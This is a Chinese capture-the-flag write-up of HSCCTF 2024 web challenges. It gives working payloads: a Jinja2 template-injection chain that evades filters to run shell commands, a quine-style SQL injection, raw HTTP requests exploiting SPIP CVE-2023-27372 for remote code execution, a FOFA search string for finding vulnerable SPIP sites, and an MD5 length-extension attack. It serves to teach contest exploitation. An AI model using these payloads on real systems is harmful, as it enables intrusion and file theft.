HSCCTF 3th 2024 Web方向题解wp

WEB-CHECKIN【*没出】

直接给了源码

<?php
highlight_file(__FILE__);
error_reporting(0);
$a=$_POST[1];
$b="php://filter/$a/resource=/dev/null";
if(file_get_contents($b)==="2024"){echo file_get_contents('/flag');
}else{echo $b;
}

咋这么像

WEB-TMPL

不知道是啥，简单测了一下SSTI无疑。

waf不好直接过，那就上过滤器。直接使用武器库

过滤器解释如下：

对于获取一般字符的方法有以下几种：
{% set se=(dict(in=se,it=lf)|join)|join()%}  #如果过滤self加
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
{% set num = (self|int) %}{{num}}    
# 0, 通过int过滤器获取数字有了数字0之后，我们便可以依次将其余的数字全部构造出来，原理就是加减乘除、平方等数学运算。
{% set num = (self|string|length) %}{{num}}    
# 24, 通过length过滤器获取数字
{% set point = self|float|string|min %}    
# 通过float过滤器获取点 .
若其中空格被过滤了使用%0c绕过
----------------------------------------------------------------------# 首先构造出所需的数字: 
{% set zero = (self|int) %}    # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2
{% set four = (two*two)|int %}    # 4
{% set five = (two*two*two)-one-one-one %}    # 5
{% set three = five-one-one %}    # 3
{% set nine = (two*two*two*two-five-one-one) %}    # 9
{% set seven = (zero-one-one-five)|abs %}    # 7# 构造出所需的各种字符与字符串: 
{% set space = self|string|min %}    # 空格
{% set point = self|float|string|min %}    # .{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc = bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %}    # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %}    # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %}    # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %}    # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %}    # 使用%c构造左括号 ({% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import
{% set pon = dict(po=aa,pen=dd)|join %}    # popen
{% set so = dict(o=aa,s=dd)|join %}    # os
{% set ca = dict(ca=aa,t=dd)|join %}    # cat
{% set flg = dict(fl=aa,ag=dd)|join %}    # flag
{% set ev = dict(ev=aa,al=dd)|join %}    # eval
{% set red = dict(re=aa,ad=dd)|join %}    # read
{% set bul = xhx~xhx~but~xhx~xhx %}    # __builtins__{% set ini = dict(ini=aa,t=bb)|join %}    # init
{% set glo = dict(glo=aa,bals=bb)|join %}    # globals
{% set itm = dict(ite=aa,ms=bb)|join %}    # items# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read(): 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了: 
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} 
# globals{% if f == bul %} {% for a,b in (v|attr(itm))() %}    # builtins{% if a == ev %}    # eval{{b(pld)}}    # eval("__import__('os').popen('cat /flag').read()"){% endif %}{% endfor %}{% endif %}
{% endfor %}

一开始一直没打出来，发现的问题如下：（原因未知。。。。）

{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %} 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{{pld}}

解决方法：

{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}{% set o = dict(o=aa)|reverse|first %}
{% set s = dict(s=aa)|reverse|first %}
{% set p = dict(p=aa)|reverse|first %}
{% set e = dict(e=aa)|reverse|first %}
{% set n = dict(n=aa)|reverse|first %}{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %} 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~o~s~yin~right~point~p~o~p~e~n~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{{pld}}

payload：

{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}{% set o = dict(o=aa)|reverse|first %}
{% set s = dict(s=aa)|reverse|first %}
{% set p = dict(p=aa)|reverse|first %}
{% set e = dict(e=aa)|reverse|first %}
{% set n = dict(n=aa)|reverse|first %}
{% set g = dict(g=aa)|reverse|first %}
{% set l = dict(l=aa)|reverse|first %}
{% set o = dict(o=aa)|reverse|first %}
{% set b = dict(b=aa)|reverse|first %}
{% set a = dict(a=aa)|reverse|first %}{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %} 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~o~s~yin~right~point~p~o~p~e~n~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~g~l~o~b~a~l~s~xhx~xhx)|attr(itm))() %} {% if f == bul %} {% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}
{% endfor %}

os、popen、globals都被前后置换了，不知道是不是py2的原因

拿下~

WEB-PWD

直接给了源码：

<?php
error_reporting(0);
highlight_file(__FILE__);
$con = mysqli_connect("localhost","root","root","ccut");
function waffff($sql) {if (preg_match("/infor|sys|sql|thread|case|when|if|like|left|right|mid|cmp|sub|locate|position|match|find|field|sleep|repeat|lock|bench|process|<|>|=|xor|and|&&|\\\\/i", $sql)) {die("hacker");}
}
if (isset($_POST['password'])) {$password = $_POST['password'];waffff($password);$sql = "SELECT password FROM users WHERE username='admin' and password='$password'";$user_result = mysqli_query($con,$sql);$row = mysqli_fetch_array($user_result);if ($row['password'] === $password) {include "/flag";} else {echo "error";}
}

Uquine注入

关键代码：

	if ($row['password'] === $password) {include "/flag";} else {echo "error";}

原理：
通过分析发现只有输入正确的密码才能得到FLAG，但是这张表其实是一张空表，所以爆破密码这条路走不通。

那就只有一个办法，就是构造一个输入输出完全一致的语句，就可以绕过限制并得到FLAG

详情见：
2021-第五空间智能安全大赛-Web-yet_another_mysql_injection和[HDCTF 2023]LoginMaster

直接给payload：

password=1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

WEB-SHIROSHORTMENSHELL

看题目名字有shiro，工具一把梭了

WEB-DESERIALIZATION

CVE-2023-27372

开题

看不出啥。直接搜索引擎。

spip 漏洞 CVE

参考文章：

【漏洞复现】CVE-2023-27372 RCE漏洞 - spmonkey - 博客园 (cnblogs.com)

SPIP远程代码执行漏洞(CVE-2023-27372)-CSDN博客

SPIP-Cms <4.2.1_CVE-2023-27372_序列化RCE__手工复现__两步Attack（POC/EXP） | CTF导航 (ctfiot.com)

一、漏洞描述
SPIP Cms v4.2.1之前版本允许通过公共区域中的表单值远程执行代码，因为序列化处理不当。

二、漏洞分析
漏洞存在与密码重置功能中(漏洞点位url：/spip.php?page=spip_pass)，重置密码时 protege_champ()函数没有对序列化字符串进行过滤，从而触发命令执行漏洞。

三、影响版本
SPIP < 4.2.1

**FOFA语句：**app=“SPIP”

四、漏洞复现

POST /spip.php?page=spip_pass HTTP/1.1
Host:	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
Connection: close
Upgrade-Insecure-Requests: 1page=spip_pass&formulaire_action=oubli&formulaire_action_args=CSRF_TOKEN&oubli=s:19:"<?php system(whoami); ?>";&nobot=

其中formulaire_action_args参数需要访问路径/spip.php?page=spip_pass获取，标签为input，name为formulaire_action_args

本题打法：

获取formulaire_action_args

POST /spip.php?page=spip_pass HTTP/1.1
Host: c2e89068-3854-4658-aa17-4485a3c28153.game.hscsec.cn:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://c2e89068-3854-4658-aa17-4485a3c28153.game.hscsec.cn:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

RCE

不要忘记formulaire_action_args的值要url编码

这题过滤了php等一些字符串，简单绕过即可。

POST /spip.php?page=spip_pass HTTP/1.1
Host: f2dca046-1311-44af-9184-c24cbebf95b8.game.hscsec.cn:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 200page=spip_pass&formulaire_action=oubli&formulaire_action_args=JWFEz0e3UDloiG3zKNtcjKCjPLtvQ3Ec0vfRTgIG7u7L0csbb259X%2Buk1lEX5F3%2F09Cb1W8MzTye1Q%3D%3D&oubli=s:26:"<?Php system('nl /f*'); ?>";&nobot=

WEB-LOG

hint：同学发给我一个网址https://x.x.x.x/?md5=9c80d2bb0bccfefeb3750744c0760496&applicant=admin&filename=web.log，说让我帮忙看看网站运行日志，同学说这是他写的一个非常安全方便的文件查看器。真的安全吗？

直接给了源码：

<?php
error_reporting(0);
$secret=getenv("SECRETKEY"); # For security reasons, the key length is greater than 8.if(isset($_GET["md5"]) && isset($_GET["applicant"]) && isset($_GET["filename"])){if($_GET["md5"] === md5($secret.$_GET["applicant"].$_GET["filename"])){$file_contents = file_get_contents($_GET["filename"]);echo $file_contents;}else{die("My tool is safe.");}
}else{highlight_file(__FILE__);
}

一看就是MD5扩展攻击，回顾一下我之前的wp：

------------------------------------------------------------------【回顾我之前的笔记】------------------------------------------------------------------

特征：

md5( $s a lt .$ username. $p a ss w or d) ===$ _COOKIE[“digest”]
$salt未知，但是知道长度。有一个已知的MD5。
md5(“密文”+“已知字符串”)=已知哈希值
md5( $f l a g) 已知，求 m d 5 ($ flag.$可控字符串)

注：

已知字符串也可以是单个字符如flag的最后一位}
生成的paylload把\x换成%然后url编码一下

hashpump工具用法：
Input Signature #现有哈希值（题目给的MD5）
Input Data #已知字符串"}"
Input Key Length #为密文长度"41"
Input Data to Add #为补位后自己加的字符串（自定义）

------------------------------------------------------------------【回顾我之前的笔记】------------------------------------------------------------------

已知条件：

9c80d2bb0bccfefeb3750744c0760496=md5($secret+admin+web.log)

hashpump：

Input Signature          #9c80d2bb0bccfefeb3750744c0760496
Input Data             #adminweb.log
Input Key Length          #9、10、11....（一个一个试，最后是15）
Input Data to Add         #/flag

46879013726bfb7dff6921fd2e9ab2f8adminweb.log\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00/flag

payload：

?md5=46879013726bfb7dff6921fd2e9ab2f8&applicant=adminweb.log%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00&filename=/flag